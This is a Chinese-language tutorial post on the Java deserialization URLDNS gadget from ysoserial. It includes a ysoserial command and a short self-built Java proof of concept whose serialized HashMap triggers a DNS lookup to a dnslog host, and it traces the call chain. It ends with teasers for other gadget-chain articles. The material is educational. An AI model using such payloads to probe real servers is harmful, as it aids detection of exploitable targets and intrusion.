Java反序列化利用链-URLDNS学习

VSole2021-12-01 14:47:17

1.Java 反序列化

关于java的反序列化只是大概知道是因为readObject方法,导致的但是怎么个过程导致的rce,还是很迷糊的。

但是直接从CC链来学习的话,对新手实在不太友好。所以,今天从ysoserial.jar中最简单的URLDNSgadget来学习一下反序列化的流程。


2.URLDNS

ysoserial urldns gadget的作用是类似于dnslog,利用的jdk中的URL class 无需第三方依赖。

生成poc

java -jar ysoserial.jar URLDNS http://psdjax.dnslog.cn > a.bin

Java模拟反序列化

package com.company;

import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.net.URL;

public class Main {
    public static void main(String[] args) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("a.bin"));
        URL url = (URL) ois.readObject();
    }
}

执行以后成功收到dnslog

在ysoserial中查看gadget的实现src/main/java/ysoserial/payloads/URLDNS.java

其中核心大概就是这么几句代码

其中最主要的逻辑 new 了一个 HashMap,然后put进去一个 URL class,然后return。

反序列化的触发点,一定是readObject,所以我们直接来看HashMap class的readObject方法

前面都不需要怎么看,其中最重要的就是hash方法

跟进到hash方法

在hashmap class的hash方法里面,是通过调用key的hashCode方法来获得的hash。

而这里的key的值是,前面put进去的一个URL对象

URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

查看URL hash方法

继续跟进,然后最关键的代码就来了。

首先获取了协议,然后使用了getHostAddress来获取url ip地址。到这一步就执行了我们的dnslog请求。

这个gadget的实现其实很简单,方法调用也不深,我们用几行代码。自己来实现一个

package com.company;

import java.io.*;
import java.net.URL;
import java.util.HashMap;

public class Main {
    public static void main(String[] args) throws Exception {
        HashMap ht = new HashMap();
        URL u = new URL("http://ls8ztu.dnslog.cn"); // URL to use as the Key
        ht.put(u, "1");

        ObjectOutputStream f = new ObjectOutputStream(new FileOutputStream("dns.bin"));
        f.writeObject(ht);
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("dns.bin"));
    }
}

执行以后,会收到2个dns请求

为什么会是两个呢,这是因为

我们在put的时候就会执行一次hash,反序列化的时候又执行了一次就是两次了,这样在实际使用的时候容易,造成误判。

那么ysoserial是怎么解决这个问题的呢,ysoserial自己实现了一个Handler,然后将getHostAddress方法重写为直接返回null。就不会触发请求了。

序列化url重写
本作品采用《CC 协议》,转载必须注明作者和本文链接
风险通告 近日,奇安信CERT监测到微软修复了Microsoft Exchange多个高危漏洞。通过组合利用这些漏洞能够在未经身份验证的情况下远程获取目标服务器权限。其中包括CVE-2021-26855:服务端请求伪造漏洞;CVE-2021-2685...
关于java的反序列化只是大概知道是因为readObject方法,导致的但是怎么个过程导致的rce,还是很迷糊的。 但是直接从CC链来学习的话,对新手实在不太友好。所以,今天从ysoserial.jar中最简单的URLDNSgadget来学习一下反序列化的流程。
Java安全中Groovy组件从反序列化到命令注入及绕过和在白盒中的排查方法
引言C3P0反序列化利用链是Java反序列化漏洞中比较经典的一条RCE利用链。最近看到有大佬对C3P0利用链不出网做了一些研究,在此基础上,自己也系统地梳理一下各种姿势的C3P0利用链,包括:Java原生态反序列化利用链-远程加载恶意类Java原生态反序列化利用链改进-无需出网Json反序列化利用链-远程加载恶意类Json反序列化利用链-无需出网这里将4个利用链的原理分析与具体实现分享给大家。
它指的是一个有用的工具库,帮助处理和操作XML格式的数据。ROME库允许我们把XML数据转换成Java中的对象,这样我们可以更方便地在程序中操作数据。另外,它也支持将Java对象转换成XML数据,这样我们就可以把数据保存成XML文件或者发送给其他系统。
URLDNS链子是Java反序列化分析的第0课,网上也有很多优质的分析文章。笔者作为Java安全初学者,也从0到1调试了一遍,现在给出调试笔记。Java原生链反序列化:利用Java.io.ObjectOutputStream对象输入流的readObject方法实现将字节序列转化成对象。测试源码如下,此部分源码参考了ol4three师傅的博客:package?将输出字节流写入文件中进行封存。读取字节流操作为readObject,所以重写readObject可以执行自定义代码。影响的版本问题:与JDK版本无关,其攻击链实现依赖于Java内置类,与第三方库无关?
近日Oracle通报了一个反序列化漏洞CVE-2022-21445,未经身份认证的远程攻击者可利用该漏洞实现反序列化操作导致任意代码执行。任何基于ADF Faces框架开发的程序都受到此漏洞的影响,包括Oracle的多个产品。
介绍实战中由于各种情况,可能会对反序列化Payload的长度有所限制,因此研究反序列化Payload缩小技术是有意义且必要的本文以CommonsBeanutils1链为示例,
刚开始内存马的这块学习与反序列化并无太大关系,反而与javaweb,tomcat联系更加紧密。所以在学习内存马之前需要先了解JSP,java web的三大件,Servlet,Filter,Listener的基本知识和工作流程和Tomcat 架构的相关内容。
前言以前做一些 Java 反序列化的题目时,我个人觉得侧重点在于readObject之后发生的事情:我们设法寻找可用的gadget并拼接,最后用一行xxx.writeObject()仅用来帮我们得到恶意数据。最近学习过程中做了几个非常有意思的题目,总结一下其中共同的思想就是对writeObject的流程下手,通过这部分流程中代码的一些问题来实现漏洞利用。solve先运行这个:package c3p0;public Reference getReference () throws NamingException { return null; }
VSole
网络安全专家